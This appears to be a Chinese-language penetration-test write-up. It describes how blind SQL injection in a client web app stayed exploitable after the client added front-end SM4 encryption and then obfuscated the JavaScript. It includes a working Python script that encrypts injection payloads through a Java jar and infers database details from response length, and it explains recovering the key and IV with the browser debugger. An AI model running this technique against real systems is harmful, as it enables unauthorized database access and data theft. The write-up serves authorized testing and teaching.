一次sm4前端参数加密下的sql盲注

0x00 前言


  在一次授权渗透测试中,应用在前端使用sql语句拼接方式传送参数,很明显存在sql注入,提交漏洞后,用户大概不想重构项目,于是将前端参数传输前均进行加密,但是通过JS找到加密密钥后,结合py脚本还是注入了;后续用户再次升级将设计加密的JS也加密混淆了,不过还有办法找到密钥,借此分享,过程中踩坑绕弯,欢迎大表哥们交流指导。

0x01 第一次常规测试

  1. 如下图点击功能抓数据包,可以发现参数中明显有SQL语句,后使用1=1 和 1=2 确定了注入点,但是没有返回值,只能盲注了。。
    00-第一次常规测试

  2. py写个脚本,简单爆破了一下数据库长度、数据库名等信息
    01-第一次脚本盲注

0x02 第二次参数使用SM4加密

  1. 接到复测通知,看了下系统,发现参数被加密了,如下图
    02-第二次参数加密

  2. 这里找加密方法的图没截,大概就是找到对应的ajax方法,可以看到md5_bean参数的生成通过base.js的encryptData_ECB方法生成,打开base.js清晰可见sm4字样以及secretkey和iv,如下图
    03-找到加密算法

  3. 接下来是如何注入,本来想构造一个sqlmap的tamper脚本,但是发现这个是把所有参数一起加密了,没得思路了,于是还是用py写盲注脚本吧,但是网上找的python实现sm4加密的结果都不一样,考虑到这个后台是java的,肯定是java做的解密,于是找了java的sm4实现,试了一下,结果可以了,于是尝试用py调用打包好的jar包进行注入(这里绕了一个大圈,实际上使用py调用js就行,第三次测试的时候更新了)

04-javasm4加密解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import json
import os
from urllib.parse import quote

header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
pay = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._!@#$%^&*()'

proxies = {
'http':'http://127.0.0.1:8080'
}
#request构造请求,传入data中的_searchWhere

def attack(payload):
url = "http://"
data = "{\"_searchWhere\":\" %s\",\"title\":\"\",\"paramsFlag\":\"false\",\"parVar\":\"\",\"frameId\":\"=\",\"readOnly\":\"\",\"extWhere\":\"\,\"type\":\"\",\"parWhere\":\"\",\"dataFlag\":\"\"}" % payload
data = quote(data,'utf-8')
command = "java -Dmoudle=e -Dstr=%s -jar sm4Decode.jar" % data
data_sm4 = "".join(os.popen(command).readlines())
data_send = {"md5_bean":data_sm4}
cookies = {"": ""}
result = requests.post(url=url, data=data_send, cookies=cookies, headers=header ,proxies=proxies)
return len(result.text)
if __name__ == '__main__':
# 判断数据库
for i in range(1,20):
payload = "and (select length(name) from v$database)=%s" % str(i)
print(payload)
lenstr = attack(payload)
if lenstr > 3000:
print(lenstr)
print("数据库长度是%s"% str(i))
break
else:
print(lenstr)

4.此时客户疑问,这个sql注入1=1 1=2返回结果是不同、暴露一个数据库版本等信息又有什么用,于是多注了一点信息,证明危害,获取用户表名的过程比较啰嗦,这里只有是结果图。
a. 用户表数据
05-盲注获取用户表

b. owner表数量

06-盲注获取owner表数量

0x03 第三次JS加密混淆隐藏密钥

  1. 最后一次复测,用户表示已经没问题了,让再看一下,由于时间有点长,重新找一下加密算法位置

    使用抓包抓到的URL,在chrome调试工具中search一下位置,打下断点,点击功能看一下是否触发断点。
    07-第三次抓包
    08-调试找到url请求位置

  2. 接下来一步一步跟下去,找到参数构造md5_bean参数的位置
    09-调试找到参数构造

  3. next找到base64.js,发现代码已经压缩而且加密了。。
    11-调试找到secretKey

  4. 遇到JS加密了如果有实力的大佬可以解密js或者 https://www.sojson.com/jsobfuscator.html 付费解密,不过只是想得到密钥和iv的话,可以在断点进入base64.js后,调试窗口肯定会显示密钥和iv值,因为不管怎么混淆,代码还是要被正常执行的。
    11-调试找到secretKey

  5. 接下来又是注入了,之前用的脚本思路太麻烦了,这次简单点,直接调SM4加密的js,由于这段js已经混淆了,于是从网上找来base64.js的源码简单改了一下,使用python的execjs调用加密。

a. java解开加密内容如图

12-对比明文密文

b. python调用js加密明文内容,对比结果(调用js的代码如图,上面没有了,因此没有粘过来,感觉内容有点啰嗦了)
13-py调用js实现SM4

6.如此便不用java介入了,之后的操作就是利用之前的盲注脚本,修改一下data参数的加密获取就行了,重复的盲注过程。

0x04 总结

  1. 实际上现在得web框架中很少这种前端传js的了,但是在很多老企业中还是有部分网站不想重构,这样的例子有很多,第一次开发说出这种修复sql注入的方法时,还很犹豫的回答,还可以注入吧。。。,没想到真的有人这样修复,随着一次一次的治标不治本,自己也在不断探索学习。
  2. 有的时候感觉除非大厂,很多网站如果一抓包看到把参数一起加密了,很有可能是在想隐藏什么漏洞。。。
  3. 还有一个小坑,加密js在JavaScript中需要手动new一个对象,再用py调用对象+方法。